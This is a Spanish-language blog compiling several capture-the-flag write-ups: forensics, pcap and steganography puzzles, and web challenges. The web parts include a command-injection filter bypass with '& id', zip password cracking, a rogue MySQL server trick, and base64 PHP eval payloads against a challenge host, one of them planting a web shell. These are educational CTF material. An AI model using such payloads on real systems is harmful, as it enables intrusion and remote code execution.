A pesar de no formar parte de los equipos este año, apenas me enteré que había un CTF abierto quise probarlo.
Aquí escribo los ejercicios que pude resolver en el tiempo que quedaba 🙂
Bandera oculta
Este ejercicio es el primero. Encuentro un ítem de menú escondido:
Al visitar esa URL encontramos un texto y una imagen.
Nada parece ser una flag, y reviso la imagen. No hay nada en el png, al parecer. Strings no dice ni pio.
Rectifico, la solucion era mas facil
Solo había que conseguir el md5 de ese texto y ya tenía la bandera.
cidsi{b890ead1792afda0286f86c7912c27a8}
rev0lution
En el archivo que nos dan a descargar. conseguimos un archivo llamado flag.py. La extensión .py nos da la seña de ser un script Python, pero el archivo no contiene nada legible.
Con el comando file podemos ver si el archivo es de otro tipo conocido:
~/Descargas >>> file flag.py
flag.py: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Sun Nov 27 20:13:42 2022 UTC, .py size: 659 bytes
¡Es Python bytecode! Para explicarlo fácil, esto es una especie de híbrido entre código compilado y código interpretado. Ya no es código fácil de leer, pero tiene algunas ventajas como ser más rápido (en teoría). El bytecode de Python no es 100% compilado, así que es probable que podamos «descompilarlo» con más facilidad, y así ver qué hace.
~/Descargas >>> uncompyle6
I don't know about Python version '3.10.8' yet.
Python versions 3.9 and greater are not supported.
I don't know about Python version '3.10.8' yet.
Python versions 3.9 and greater are not supported.
Es una página web. La abrimos y podemos ver un arbolito:
Revisamos el código fuente: no hay nada interesante. Mientras vemos los archivos enlazados, vemos que el árbol se genera con CSS, pero otro archivo dice hacer lo mismo, y al abrirlo nos muestra un error:
Como ese archivo se ve sospechoso, lo revisamos por si encontramos algún texto comprometedor:
~/Descargas >>> curl -sv http://5.75.150.197:8080/tree.png | strings
* Trying 5.75.150.197:8080...
* Connected to 5.75.150.197 (5.75.150.197) port 8080 (#0)
> GET /tree.png HTTP/1.1
> Host: 5.75.150.197:8080
> User-Agent: curl/7.86.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 30 Nov 2022 12:57:36 GMT
< Server: Apache/2.4.54 (Unix)
< Last-Modified: Sun, 27 Nov 2022 00:32:58 GMT
< ETag: "30-5ee68e5810280"
< Accept-Ranges: bytes
< Content-Length: 48
< Content-Type: image/png
<
{ [48 bytes data]
* Connection #0 to host 5.75.150.197 left intact
IHDRcidsi{4rb0l1t0_513mpr3_3n_h0m3}
Tenemos la bandera 🙂 y solo necesitamos hacerle un md5 a lo que está dentro de los corchetes.
Captured 1
Abróchense los cinturones: ese es un ejercicio de esos que te hacen pensar en las sustancias psicotrópicas que podrían haber consumido o no los creadores del CTF 🙂
En el archivo que descargamos, nos dan un pcap con muchos pings.
Como ya hemos visto antes ejercicios de paquetes ICMP (verdad?), ya notamos algunas cosas a simple vista:
Si yo ejecuto ping en mi pc, se enviará (y recibirá) un solo paquete por segundo. Pero estos pings van demasiado rápido, varios por segundo.
Los ICMP request tienen TTLs raros, pero los reply siempre son 64. Recordemos que el TTL se suele usar oficialmente como un «medidor» de por cuántos routers ha circulado nuestro paquete, pero puedes poner datos arbitrarios ahí si quieres.
Cada request tiene un payload («contenido del paquete») extraño — según internet el payload es algo predecible como «abcdefgh»… pero este tiene datos binarios. Igualmente el payload de un paquete ICMP es arbitrario, puedes poner algo si quieres y no importará mucho. Los ingenieros de redes lo utilizan para 1) ver si el paquete llega corrupto o no, y 2) depurar problemas de MTU/tamaño máximo de los paquetes.
Los ICMP Requests son más raros y nos dan más curiosidad. Por eso, ocultaremos los demás paquetes usando filtros, más concretamente icmp.type==8.
Acá vemos que sí se mandan varios paquetes por segundo:
y este es una pequeña captura del payload:
Copio un poco de los payloads y lo guardo en un archivo — no se reconoce ningún formato. De hecho a simple vista parecen datos puramente random, sin estructura visible.
Mientras tanto vamos viendo otra cosa que igual «varía demasiado», y son los TTLs de los request:
Estos números no son tan aleatorios: varios caracteres se repiten (será ASCII?) Copio todo al cyberchef y hago una fuerza bruta a mano. Me toma media hora pero al final sí se pudo, convirtiendo esos números de Decimal > Hex > Base58 🙂
Snippet en CyberChefFrom_Base58(‘123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz’,true)&input=NTEgNTAgNTEgNTUgNTUgNTMgNTQgNTUgNTQgNTMgNTEgNTIgNTQgNTUgNTQgMTAxIDUxIDUyIDUzIDk3IDU0IDU1IDUzIDU0IDUyIDQ5IDUyIDUyIDU0IDEwMCA1MiA1MyA1MiAxMDAgNTIgNDkgNTQgNDkgNTUgNTcgNTIgNTQgNTQgNTIgNTUgNTAgNTIgNTMgNTUgNTQgNTIgOTggNTQgNTIgNTQgMTAyIDUzIDU2IDUzIDU3IDUzIDU2IDUzIDQ5IDUzIDk3IDUxIDU2IDUxIDU3IDU0IDU0IDUxIDUyIDU1IDU3IDU0IDEwMSA1MyA1MiA1NCA1MiA1NCAxMDIgNTEgNTIgNTIgNTQgNTUgNTYgNTMgNTAgNTIgMTAxIDUyIDU1IDU1IDUzIDU1IDUxIDU0IDUyIDUxIDUyIDUyIDUxIDUyIDk5IDQ4IDk3)
Movimientos
Nos dan esto:
No llego a reconocer eso de memoria, pero las posiciones me sugieren que pueden guardar datos.
Las banderitas de la mano indican si la letra es mayúscula o no. Descifrando a mano, encuentro el texto reklawnooM.
Revisando, reklawnooM es la respuesta pero si lo invertimos dice Moonwalker (será esa referencia a los 90 que nos indicaron?)
Como me piden en las instrucciones del CTF, obtengo el MD5 de esa cadena y ya tengo la flag.
cryptonews
Bien, nos piden una contraseña, y debemos extraerla del sitio.
Nosotros haremos exploración manual esta vez, pero no es necesario que lo hagas: si estás de prisa pueden ayudarte herramientas como OWASP Zap o Nikto.
Encontré cookies, pero no dan mucha info: snippet en CyberChef&input=WVRveU9udHpPalk2SW5WelpYSkpaQ0k3YVRvNE5EUTVNVFU3Y3pvMU9pSjBhR1Z0WlNJN2N6bzFPaUpzYVdkb2RDSTdmUSUzRCUzRA).
En el código fuente de la página tampoco hay nada relevante.
En robots.txt encontramos cosas interesantes:
Varias horas después, regresé al problema y me di cuenta de dos cosas:
xmlrpc.php y xmlrpc.php~ se referencian en el archivo.
xmlrpc.php y xmlrpc.php~ existen
xmlrpc.php se ejecuta con PHP (podemos verificarlo con la cabecera X-Powered-By) pero xmlrpc.php~ no.
En otras palabras. los archivos con php~ pueden tener alguna información importante y podremos acceder directamente 🙂
Podemos revisar nuestra teoria viendo las cabeceras de xmlrpc.php
… y compararlas con las de xmlrpc.php~
Me quedé trabado otro rato: probé con archivos conocidos como wp-config.php. Nada :/
Recuerdan que dijimos que, cada vez que visitas la página, se agregan cookies a tu sesión? Eso solo puede hacerlo… una página dinámica 🙂
Como los servidores web, al pedirles una página sin un archivo explícito en la URL buscan por defecto el archivo index.php, nosotros revisamos si existe index.php~
Listo, ya tenemos la contraseña, y así la flag 😀
Captured 2
¿Se acuerdan del problema loco de hace un rato? Volvió en forma de fichas 🙂
El archivo de la captura ahora tiene lo interesante como payload:
Tenemos que estraer esos datos marcados de todos los paquetes. Son demasiados datos (no vale la pena hacerlo manual como la anterior vez) asi que leyendo algunos manuales encuentro el cómo automatizar esa tarea.
El archivo que nos dan (cero.rar) tiene la foto de la Plaza Murillo. No hay nada en la imagen.
Dejé el problema, pero luego vi que en la descripción mencionan lo que se parece mucho a una dirección MAC. Como recuerdo alguna vez haber visto algo parecido a 7A:F8:82, por pura corazonada voy a Wigle.net, y busco esa MAC.
La MAC le pertenece a un teléfono con una red llamada «mela cumbierita», que resulta ser la flag LMAO
Qué Rollo
Bueno, te dan un png como QR, lo lees y te dan una flag falsa.
Revisando el QR, encuentro que con binwalk chall.png el archivo PNG tiene un JPG oculto dentro:
Hola! En este writeup detallo cómo he solucionado los problemas del CTF del CIDSI 2021, organizado por AGETIC.
Navidad en el código
La dirección que nos adjuntan es la de una web.
Revisamos la fuente de los archivos. Es algo que ya hago de forma mecánica, incluso una vez que resolví un CTF en la cafetería de la universidad aprendí un atajo para eso en Firefox: Ctrl+U.
No hay mucho en la página, asi que revisamos los otros archivos.
Hay un código. Como solo hay letras mayúsculas, bien podría ser base32 (sí lo era).
flag{El codigo mas dificil de corregir es aquel del que piensas que es imposible que algo esta mal.}
Desarrollador senior
Cuando veo códigos, lo primero que hago es abrir CyberChef e ir probando con lo usual: base64, rot13, etc.
XD
Bla bla bla 1
Te dan un zip, y este tiene contraseña.
Ya que son números, creamos un diccionario con crunch 7 8 0123456789 -o numeritos.txt y crackeamos el zip con fcrackzip -v -u -D -p ~/Descargas/numeritos.txt ~/Descargas/ctf.zip
Pensé que eso era todo, pero termino con este archivo:
Mmm…
Si revisamos si hay cadenas en el archivo (sea con strings de linux o con el Forensically), en los comentarios mencionan «Templarios».
En ese zip tenemos dos archivos: un raw y un dat. Con file vemos que el archivo dat es de texto, y el raw es un archivo 7zip… con contraseña.
Parece que es texto oculto con figlet. Me instalo gnome-terminal (yo uso KDE) y con esto y un cat, puedo ir reacomodando los caracteres a mano.
Esos puntitos sirven de guía, al parecer…
No entiendo lo que quieren decir :/ y los «puntos guía» estan rectos. Aunque, como curiosidad, los puntos siempre aparecen al final pero en esta ocasión aparecen al medio…
Acá ando bastante confundido, asi que me voy a preparar té. Más tarde se me ocurre que podría intentar «reconstruir» el texto con figlet.
Oooh, viendo el man, como suponia, ¡hay fuentes para este comando! Pero no sé donde están. Lo normal seria abrir el paquete de figlet y listar las fuentes, pero mi cerebro vago se fue a buscar a internet.
Oh vaya, el pato tiene esa función integrada. Probaremos haciendo fuerza bruta: probando letra por letra hasta obtener algo muy similar.
Ya tenemos la cadena: se la paso al ark y ya puedo abrir el 7z.
(Pensé en darle la vuelta, pero esa no era. Ahí perdí un intento)
Pandas
El zip tiene contraseña.
Listo, ya tenemos la contraseña 🙂
Ambos archivos tienen la misma imagen, pero por el MD5 se ve que son distintos. Comparamos su tamaño, podría ser que uno tenga algo que el otro no. ¿Metadatos?
Podemos analizar las imágenes una por una, pero es más fácil revisar las diferencias entre los dos archivos con diff.
🙂
Crackeando las evidencias
Nos dan un zip. El pdf está protegido con contraseña, pero una imagen lo acompaña.
Primero hago una búsqueda reversa, no ayuda en mucho.
Bien, memcached. Aprendí algunas cosas de memcached en mi anterior trabajo, pero si no conoces el servicio, puedes buscar en internet algún snippet de stackoverflow.
Bien. Tenemos un hash y un salt. En las herramientas del CTF mencionaron hashcat, asi que podemos revisarlo.
Hashcat hizo que amdgpu crasheara y mi Manjaro quedara en mal estado 🙁 pero tengo la contraseña gracias a mis capturas en video 🙂
Una revisión adicional:
Inicialmente la flag no funcionó, pero luego de consultar por mail a la organización pues resulta que sí era. ¡Genial!
Developer enojado
Me habla algo de una app. No veo una app, solo eso. Los links no llevan a ningún lugar.
Juguemos con lo que hay.
Lo que veo es que directamente el sistema me muestra la… salida de comandos de ping. Será que esa web está ejecutando comandos directamente? uuuuuhh
Viendo el man de mi comando ping, está la opción -V para ver la versión.
¡Buenísimo! Efectivamente el sitio está ejecutando comandos directamente.
Ya que podemos meter comandos, intento ejecutar algo más. Por desgracia, pongo ; y ninguna otra cosa funciona (no me sale nada). Bueno, no se me ocurre nada, me voy a almorzar.
Tuve una nueva idea más tarde.
Acá pedí un ping a goo;gle.com pero el comando funcionó XDDDDDDDDD
Una vez hace muchos años armé un sistema para que la gente pueda ver si estaba en el padrón electoral y pues el sistema solo era un grep a un txt gigante. La cosa es que tenía miedo de un hackeo y pues lo que hice era quitar los ; y entre otras cosas, con un str_replace, y parece que ahora en este reto hicieron lo mismo. Buenas épocas con PHP 😀
Bien, ahora veo que están filtrando ; de forma intencional. Pruebo con | y con el ´, pero & funciona mejor.
Con & echo veo si hay algo al final (no hay nada) y entonces pruebo con un comando más informativo.
& id se ejecutó, y además ya sabemos bajo qué usuario está corriendo el script 🙂
Con pwd veo donde estamos (/var/www/html) y con ls saco esto
Bien, veo que ahí hay algunos archivos. Los descargaré.
Alguien ya estuvo jugando.
Mientras flutter.apk.zip va descargando, voy viendo la fuente de las páginas.
XDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD lo sabía!
Bien, ya tenemos flutter.apk.zip y resulta que es un zip con contraseña. Reviso los php pero no tienen nada, y al rato me di cuenta que hay un wav ahí. El archivo viene con música (Shazam me dice que es Lilium, de Kumiko Noma). La canción me va acompañando en la competencia.
Cuando le pongo replay y lo veo, me doy cuenta de algo. ¿Por qué un wav? Un mp3 u otro formato recortaría… las frecuencias altas.
Abro como velocista el audacity y:
Me distraje con la música. ¡Muy buena, por cierto!
Pruebo la pw y si, «HAKUNAMATATAS» es el password del zip.
Bien, ya tengo el apk. Mencionaron algo de la fuente en el problema, asi que toca decompilarlo.
Recuerdo cuando hacía mods a apps de android (una vez hice que mi Xperia Sola grabe audio con un mejor bitrate): si queremos ver fuente Java, toca ir a revisar smali.
No encuentro nada, pero la id de la app se ve rara.
La experiencia que tengo con android es más con apps nativas, y con cosas como Kotlin o Flutter, pues mucho no sé.
¡Pero otros sí saben! Voy al pato y me pongo a buscar.
Oh, vaya. Me imaginaba que con Flutter esto es distinto, pero no sabía que con las compilaciones debug se puede recuperar código original sin compilar.
En la fuente que vi dice debug. Así que busco ese archivo, lo encuentro xd, y pues lo reviso.
¡Bingo!
Un amor entre desechos químicos
Los mensajes de la (o del) crush son un clásico en los CTFs. Nos dejan un PDF esta vez.
Veo las cadenas del pdf con strings para ver si hay algo (nada). Luego quiero extraer las imágenes por si hay algún metadato (intento con pdfimages pero parece que convierte las imágenes y no quiero eso) y termino sacándolas a lo neandertal, a punta de cincel con binwalk y dd.
Algunas herramientas que no pude probar pero que quizás sirvan en otra ocasión:
Vi algunos patrones en los números de la imagen, pero no correlaciono eso con algo conocido (ASCII). No hay nada, y me voy a otro ejercicio.
Al día siguiente retomo el problema. Miro que le han prestado especial atención al número 119 (quizás es una clave de steghide) y busco número atómico 119. Esto solo por el meme de los Simpsons.
De ahí podemos intentar adivinar letras partiendo el número.
22 92 119 63 44 63 34 119 92 10 47 119 56631010553653810
Ti U Uue Eu Ru Eu Se Uue U Ne Ag
Tomando solo la iniciales ya tenemos algo de texto. Reviso de nuevo el pdf y pone que la 119 está vacía, asi que viendo el texto tiene mucho sentido que se asocie un espacio ahí en vez de una letra. Igualmente no sé si tomar números en grupos de dos o tres, pero eso va tomando sentido solito (por ejemplo, 101 05 no tiene sentido, debería ser 10 10 5 o 10 105).
La última parte me cuesta completarla, ya que 56 63 10 10 55 36 53 81 tiene tanto sentido como 56 63 10 105 53 65 38 10. Pero, viendo los patrones de números repetidos (53 se repite, o sea debe ser una letra), voy probando hasta que termino.
22 92 119 63 44 63 34 119 92 10 47 119 56 63 10 105 53 6 53 8 10
Ti U Eu Ru Eu Se U Ne Ag Ba Eu Ne Db I C I O Ne
«TU ERES UNA BENDICION»
Esa es la flag 🙂
¿Estos temas te interesan? Puedes ver mi writeup de un CTF anterior, o también unirte a la comunidad Núcleo GNU/Linux, en donde tendremos actividades relacionadas a GNU/Linux y a los CTFs 🙂
Este es un ejercicio de web, nadie lo ha resuelto aún, así que debe ser difícil
Bueno, un formulario, voy a poner admin admin solo para ver.
0.0
¡Apareció mi IP pública! Puedo deducir que:
Ese formulario se está conectando a una DB MySQL y le pide usuario y contraseña. Pero el form. está configurado para usar la IP origen como BD.
Esto para nosotros es un gran plus ya que podemos controlarlo. Entonces tenemos que montarnos una DB que le dé lo que quiere (un usuario y contraseña que corresponda a lo que yo le ponga en el form) y ya tenemos el ejercicio.
yo inspirado
Para probar esa idea, voy a Hetzner Cloud y pido una máquina con Ubuntu 18.04. Ahí instalare mi base de datos.
Instalo tcpdump (para ver cómo queda), curl (para las peticiones) y mariadb-server.
Configuro mariadb-server (/etc/mysql/mariadb.conf.d/50-server.cnf) con las opciones:
para que TODOS los querys que le lleguen sean registrados.
Además abro todas las conexiones externas agregando esto también: bind-address = 0.0.0.0
Listo, ahora voy a encender tcpdump -i eth0 -n tcp port 3306 -w intentodeconexion.pcap para tener registro de la negociación, y le pido al server remoto que inicie:
He utilizado la consola web de Firefox, pestaña Red, click derecho en la petición POST y Copiar todo como CURL para tener un comando listo para copiar y pegar.
Listo, copio mi pcap a mi laptop y…
Bien, sabemos el usuario y la base de datos. La contraseña está hasheada y tienen un salt que la hace cambiar por cada intento de inicio de sesión, no vale la pena romperla. Pero la necesitamos de todas maneras, para que esa web pueda ingresar a nuestra trampa.
Una idea que tenía era forzar un Auth Plugin que mande la contraseña en texto plano, pero 1) podría habler problemas de negociación (el otro extremo tiene que aceptar y por defecto no sé si lo hace), y 2) recordé que para problemas de autenticación hay una mejor opción que se puede poner en /etc/mysql/mariadb.conf.d/50-server.cnf:
skip-grant-tables
Esta opción le dice a la DB que no cargue las tablas de privilegios, y que le dé acceso total al primero que pregunte, no importa qué password le dé o lo que el cliente haya pedido. Es muy útil para resetear contraseñas olvidadas.
Ya resuelto el problema de la password, ejecutamos el curl de nuevo y vemos el log de queries.
cat /var/log/mysql/mysql_query.log
...
200508 17:47:55 30 Connect [email protected] as anonymous on db_pepito
30 Query set autocommit=0
30 Query SELECT hash, salt from tbl_users WHERE username = 'admin'
Genial, ya sabemos la tabla que usa y los campos que tenemos que llenar.
# mysql
MariaDB [(none)]> create database db_pepito;
# mysql db_pepito
MariaDB [db_pepito]> create table tbl_users (username VARCHAR(100), hash VARCHAR(100), salt VARCHAR(100) )
MariaDB [db_pepito]> insert into table(username,hash,salt) values ('admin','$2y$10$NFZK6WXRY3fvz/lsy1UpMOo7r2lJcxiJncxoFbeKoq2A/sRn3yAU2n','');
Ok, no hay un campo de contraseña en texto plano, solo un campo de password y un salt. No sé como interactúan estos, asi que tengo que adivinar.
Haciendo una búsqueda de «tbl_users» en Google (por si el que hizo el script lo sacó de Internet) llegué a este viejo foro donde muestran algo de código de ejemplo usando una estrategia bien casera.
Si esto funciona, el campo hash tendría que ser hash($password.$salt), donde el hash puede ser md5 o algún sha. El campo salt debería ser cualquier cadena, yo usaré milanesa por que aquí es hora de almorzar.
Como el hash debería estar quieto en la BD y la idea más básica de un salt es evitar ataques de diccionario, el hash en la BD ya debería tener el salt. Voy al CyberChef, concateno las cadenas a mano y consigo esto: sha2('adminmilanesa') == 6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101
Estoy asumiendo que el otro extremo del sistema está usando sha256, podría estar usando otra cosa, sha512, sha1, md5, etc, pero probemos con esto primero.
MariaDB [db_pepito]> update tbl_users set hash='6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101', salt='milanesa';
Actualizo mi tabla y le pido al curl que revise.
¡Genial!
Comentarios
Quizás no era necesario tener un salt. O sea, poner el salt a '', o sea una cadena vacía, y generar los hashes directamente de la contraseña.
En /static/app.js hay algo de código JS empaquetado con Packer. Buscando en internet javascript depacker online o algo así podemos obtener un código de formulario. Con esto, podemos enterarnos de la existencia de la cabecera X-DB-Host que nos servirá para invocar las peticiones desde nuestra máquina, pero que el sitio busque la base de datos en otra IP. Como nosotros sabemos cURL, no lo hemos necesitado 🙂
LessOne
Ingresamos al problema. Hay un formulario, veremos cómo reacciona…
Hay un enlace de Source, y parece que nos da el código fuente del script.
Mmm, ahora hay que analizar el código y pensar.
Según la lógica del código, la variable loveme (controlada por nosotros) debe ser igual a bin2hex(random_bytes(64)) o sea, una cadena aleatoria muy grande, algo que es imposible de conseguir. Quizás haya un random seed en algún lado que podamos explotar (probablemente en heart.php). Pero eso no nos ayuda, ya que de todas maneras tenemos que intervenir heart.php.
Supongamos que queremos obtener clandestinamente heart.php. Necesitamos dos cosas:
Lograr meter heart.php en el PHP_SELF (fácil)
Setear $_GET['source'] (fácil)
Hacer que el regex guardián no salte. Esa está difícil.
Un ayudante crucial es basename: esta función tratará de obtener un nombre de archivo de la dirección que se le dé. Si le damos index.php/holamundo/asdf.php devolverá asdf.php: eso nos asegura que podremos poner cualquier carácter antes del nombre final 🙂
Ahora estudiaremos la expresión regular en regex101.com y podemos probar algunas cadenas para entender mejor el alcance.
Si intentamos lo primero que se nos ocurra (poner heart.php al final, como en todos los ataques con PHP_SELF) el regex se dará cuenta y no funcionará.
… y si forzamos demasiado la cadena, no funcionará 🙁
Leyendo el regex descompuesto (regex101 ayuda mucho para entenderlos) vemos que este va a saltar si el string termina en heart.php o en heart.php/ (ambos casos cubiertos por basename). Si le ponemos cosas al inicio y antes de / no pasa nada (gracias a basename) pero lo que pongamos al final afectará el nombre que highlight_file recibirá y no funcionará.
Tenemos que encontrar
Algo que no haga saltar al regex. O sea, no debemos terminar en / o dejarlo sin terminar.
Si agregamos algún caracter raro, basenametiene que descartarlo sí o sí.
Se puede pasarle un caracter como %20 que significa un espacio » «, pero basename no lo descarta.
Por otro lado leer esto en la web de PHP me dio interés:
Tengo un flashback: las versiones antiguas de PHP solo soportaban manipular texto ASCII. UTF-8 es mucho más grande, y para nosotros los latinos era normal tener que cambiar a mano funciones que trataban cadenas con sus pares que comenzaban con mb_ (multibyte) ya que podías matar las funciones básicas con una ñ.
Mmm, si pones caracteres Unicode basename los borra. Esto nos viene muy bien.
Para lo de Percent Encoding no tenemos toda la tabla de caracteres Unicode a nuestra disposición, pero podemos probar con algún caracter del extremo final, que estamos seguros ya no será parte de ASCII.
Incidente Max Headroom
Tenemos un archivo: intruso.rar. No tiene contraseña y dentro hay un video.
Perfil de mediaInfo:
General
Complete name : /net/looper/l10e/ctf/owasp2020/intruso.mp4
Format : MPEG-4
Format profile : Base Media / Version 2
Codec ID : mp42 (isom/mp42)
File size : 52.5 MiB
Duration : 1 min 17 s
Overall bit rate mode : Variable
Overall bit rate : 5 717 kb/s
Encoded date : UTC 2020-05-08 06:51:48
Tagged date : UTC 2020-05-08 06:51:48
Video
ID : 1
Format : AVC
Format/Info : Advanced Video Codec
Format profile : [email protected]
Format settings : CABAC / 2 Ref Frames
Format settings, CABAC : Yes
Format settings, Reference frames : 2 frames
Codec ID : avc1
Codec ID/Info : Advanced Video Coding
Duration : 1 min 16 s
Bit rate mode : Variable
Bit rate : 5 334 kb/s
Maximum bit rate : 6 000 kb/s
Width : 1 280 pixels
Height : 720 pixels
Display aspect ratio : 16:9
Frame rate mode : Constant
Frame rate : 29.970 (30000/1001) FPS
Standard : NTSC
Color space : YUV
Chroma subsampling : 4:2:0
Bit depth : 8 bits
Scan type : Progressive
Bits/(Pixel*Frame) : 0.193
Stream size : 49.0 MiB (93%)
Language : English
Encoded date : UTC 2020-05-08 06:51:48
Tagged date : UTC 2020-05-08 06:51:48
Color range : Limited
Color primaries : BT.709
Transfer characteristics : BT.709
Matrix coefficients : BT.709
Codec configuration box : avcC
Audio
ID : 2
Format : AAC LC
Format/Info : Advanced Audio Codec Low Complexity
Codec ID : mp4a-40-2
Duration : 1 min 17 s
Bit rate mode : Constant
Bit rate : 384 kb/s
Channel(s) : 2 channels
Channel layout : L R
Sampling rate : 48.0 kHz
Frame rate : 46.875 FPS (1024 SPF)
Compression mode : Lossy
Stream size : 3.49 MiB (7%)
Language : English
Encoded date : UTC 2020-05-08 06:51:48
Tagged date : UTC 2020-05-08 06:51:48
Mientras estaba por revisar cabeceras y estaba pensando por qué un viejo video tendría 384Kbps de bitrate de audio (eso es raro de ver), unos ruidos agudos por el segundo 40 asustaron a mi gato y ya me di cuenta de lo que podría ser.
Abro el archivo con Audacity.
Y esto? Puros símbolos
Abrimos la web y en el código fuente nos encontramos con un comentario sospechoso, que nos manda a /CTFuck?injection=.
Naturalmente, tenemos que inventarnos un payload y ponerlo en injection. Algo curioso, si no le respondes con alguna combinación que no forme parte de []()! te muestra LAME :\ y te manda a volar investigar esolangs. Y como el payload lo pone en una variable JS investigué esolangs con JS y salió JSFuck!
Mis + se borran y eso arruina todo. Pruebo de todo pero no consigo que los + aparezcan. Intento esto por horas y me voy a dormir con la incógnita.
Al día siguiente, ya un poco más fresco:
Bien, parece que Firefox era el que estaba estorbando ¡Entonces mi navegador era el problema!
Reintenté con curl pero me mostró un error, y deduje «necesito formatear esto a un formato amigable web»
y ahora sí, ¡POR FIN!
Register Globals
Register Globals es una de esas características de PHP que le hicieron ganar esa fama de inseguro y excesivamente tolerante, maleducando a sus desarrolladores y generando molestias por parte de expertos en seguridad. Acá hay documentación de PHP sobre el tema.
En el reto nos mencionan que el programador lo ha «habilitado». Como el PHP en los retos es 7.4.x y esa rama ya no tiene código nativo para esta característica, pues es muy probable que este haya tenido que emular su comportamiento, y esto solo se puede hacer con eval(), una función a la que podemos engañar 🙂
Una URL como https://rg.ctf.owasplatam.org/?home nos devuelve una página web, y lo curioso es que si cambio aunque sea un poco eso, se rompe. Si mi idea de eval() funciona, podría intentar ejecutar algún código.
Con esto consigo poner un phpinfo. Descubro que funciones importantes como shell_exec, system, etc. están bloqueadas. Hay algunas funciones PHP peligrosas que nos interesarán probar.
Continúo probando. Cualquier cosa con comillas y caracteres raros se pierde: ¿habrá una función que manipule las comillas? Para evitarnos problemas usaremos base64.
Al parecer estoy abusando de una chapuza de PHP que hace que $_GET[abcd] se parsee como $_GET['abcd']. Recordemos que el primer abcd oficialmente es el nombre de una constante y no una cadena, pero PHP es muy permisivo y siempre está dispuesto a perdonarte cuando haces las cosas mal (?
Esto quiere decir que los == de un base64 no funcionarán y podrían romper todo, asi que en el cyberchef me cercioro de poner espacios al final como relleno y así no tener ningún =.
Abro el CyberChef y me invento un payload:
y lo invoco así:
Con esto saco el código fuente del mismo PHP: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(ZWNobyBmaWxlX2dldF9jb250ZW50cygnaW5kZXgucGhwJyk7));/*
Intenté parasitar la web creándome un script php que haga de shell view-source:https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7ZmlsZV9wdXRfY29udGVudHMoJ2dyaXMucGhwJywnPHByZT4gPD9waHAgZWNobyBgJF9HRVRbMV1gPz4nKTsg));die();/* y no funciona ya que el / es read-only. Bien pensado 🙂
Ya que no podemos usar shells ni poner nada, tenemos que convivir con lo que PHP nos da.
fopen, fread y cía están bloqueados, pero file_get_contents no 😛 y eso nos ayudará a abrir los archivos.
Usando la función scandir en la carpeta actual obtuve esto:
Mmm, la banders no está en la carpeta donde está el sitio.
Leamos el php.ini por si hay algo de interés: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7CmVjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGhwLzcuNC9jZ2kvcGhwLmluaScpOwpwcmludF9yKHNjYW5kaXIoJy9ldGMvcGhwLzcuNC9jZ2kvJykpOyAg));die();/*
Por casualidad, busco en / y resulta que la bandera parece estar ahí, asi que me preparo para sacarla.
El reto te da un archivo jpg, con un montón de pokemones en fila.
Este reto fue horrible. Resulta que cada pokemon tiene un código, y ese código en la tabla ASCII revelaba los caracteres de la flag. Lo descubrí por una corazonada, convirtiendo los dos primeros iconos en códigos y de ahi encontrar o y w en la tabla ASCII.
Tuve que armar un lienzo cuadrado en GIMP, cargar la imagen e ir moviendo la capa de pokemones 1×1 para subir el resultado a Google Images. Previamente intenté partir la imagen con ImageMagick, pero no pude.
No soy fan de Google, pero si tú lo eres, Google Lens podría ayudarte a acelerar la búsqueda.
111 o Rhyhorn
119 w Seaking
97 a Hypno
115 s Kangaskhan
112 p Rhydon
123 { Scyther
110 n Weezing
111 o Rhyhorn
95 _ onyx
115 s Kangaskhan
97 a Hypno
108 l Lickitung
103 g exeggutor
97 a Hypno
115 s Kangaskhan
95 _ onyx
100 d Voltorb
101 e Electrode
95 _ onyx
116 t Horsea
117 u Seadra
95 _ onyx
99 c Kingler
a
s
a
_
p
a
114 r Tangela
a
_
c
a
122 z Mr Mime
a
r
_
p
o
k
e
m
o
n
e
s
}
Las posiciones que quedaron sin su nombre las fui adivinando.
Necesitamos factorizar n en dos números primos. Por la longitud, no parece ser fácil de factorizar tradicionalmente, y eso nos empuja a pensar que hay una falla/vulnerabilidad/dejadez en su generación.
64+21 es 85. Esto nos hace acordar a Base85, que se ve como Base64 pero le agrega algunos caracteres más.
SHA1
Un problema raro, pero bueno…
No sabía nada de Python asi que aprendí a la fuerza Copypasteando algunas cosas armé esto:
import time
import string
import hashlib
ready = False
start = time.time()
n = 0
solved = False
quit = ""
# flag = "owasp{autor_color_pais_deporte}"
lautores = [ "yehuju", "alguien_tw", "perverthso", "tommoreno", "jere", "nico" ]
lcolores = ["amarillo","azul","blanco","cafe","celeste","cian","gris","lila","marron","morado","naranja","negro","plata","rojo","rosa","verde","violeta"]
lpaises = ["argentina","bolivia","brasil","chile","colombia","cuba","ecuador","costarica","elsalvador","guatemala","honduras","mexico","nicaragua","panama","paraguay","peru","uruguay","venezuela"]
ldeportes = ["atletismo","badminton","baloncesto","beisbol","boxeo","buceo","ciclismo","equitacion","esgrima","esqui","futbol","gimnasia","golf","judo","natacion","paracaidismo","parapente","polo","patinaje","surf","taekwondo","tenis","voleibol"]
candidatos = []
hashedflag = "0b27a389e4e8cef7ac346c932e45272156a72039"
ready = True
# llenaremos el array
for x in lautores:
for y in lcolores:
for z in lpaises:
for d in ldeportes:
candidatos.append("owasp{"+x+"_"+y+"_"+z+"_"+d+"}")
while not solved:
word = candidatos[n]
hashedGuess = hashlib.sha1(bytes(word, 'utf-8')).hexdigest()
print(word)
if hashedflag == hashedGuess:
solved = True
print('-Stats-')
print('Pass: ' + word)
print('Attempts: ' + str(n))
print('time: ' + str((time.time() - start)) + ' sec')
while quit != " QUIT":
quit = input('Type <QUIT> to quit')
else:
n += 1
¡y funcionó!
Just For Fun 2
Problema forense.
